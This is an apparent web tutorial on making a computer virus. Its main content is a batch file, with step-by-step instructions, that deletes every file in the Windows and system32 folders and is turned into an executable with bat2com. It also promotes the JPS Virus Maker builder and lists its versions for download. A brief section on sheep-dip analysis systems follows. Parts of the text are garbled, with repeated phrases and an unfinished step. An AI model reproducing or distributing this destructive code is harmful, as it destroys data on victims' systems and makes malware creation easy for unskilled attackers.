Creating Simple Virus Via Notepad And JPS Virus Maker

How to Create a Virus

Creating a virus is a process that can be very complicated or something that happens with a few button clicks. Advanced programmers may choose to code that malware from scratch. The less savvy or experienced may have to pursue other options, such as hiring to write the virus. Purchasing code, or using an “underground” virus maker application.


Creating a Simple Virus

So, let’s write a simple virus. You need access to notepad and bat2com, the latter of which you can find on the internet.

Before you get started. Here’s a warning: Do not execute this virus. This exercise is only meant to be a proof of concept and for illustrative purposes only. Executing this code on your system could result in damage to your system that may require extensive time and skills to fix properly. With that said, follow these steps:

  1. Create a batch called bat using windows notepad.
  2. Enter the following line of code:

Echo off

Del c:\windows\system32\*.*

Del c:\windows\*.*

  1. Save virus.bat
  2. From the command prompt, use bat2com to convert virus.bat into

Another way to create a virus is to use a utility such as JPS Virus Maker. It is a simple utility in which you pick options from a GUI and then choose to create a new executable file that can be used to infect a host.


Researching Viruses

There are many defensive techniques for fighting malware. Many of which we will discuss later in this website, but what about researching new malware?  If you need to investigate and analyze malware in addition to defending against it, you should know about a mechanism known as a sheep-dip system. A sheep-dip system is a computer that is specifically configured to analyze files. The system typically is stripped typically is stripped down and includes only those services and application needed to test software to test software to ascertain whether it is safe.


Outside of computing, the terms sheep dig refers to farmers practice of dipping sheep in a special fungicides and other medicines to keep parasites and infections from spreading through the herd-much as piece of software’s analyzed before being introduced into the network in order to prevent a mass infection of host systems.


Download The JPS Virus Tools Now

  Filename Size Description Date 39375 JPSVM Mar 2004 MD5 sum ff93325516dd90d0d76c4bfc23e18dd8 272178 JPSVM 2.0 Jul 2006 MD5 sum 54f936f676f780e087ac73d4b9a01581 296855 JPSVM 3.0 Feb 2007 MD5 sum bec0e0c24c092fb969e203d0e75b9ede

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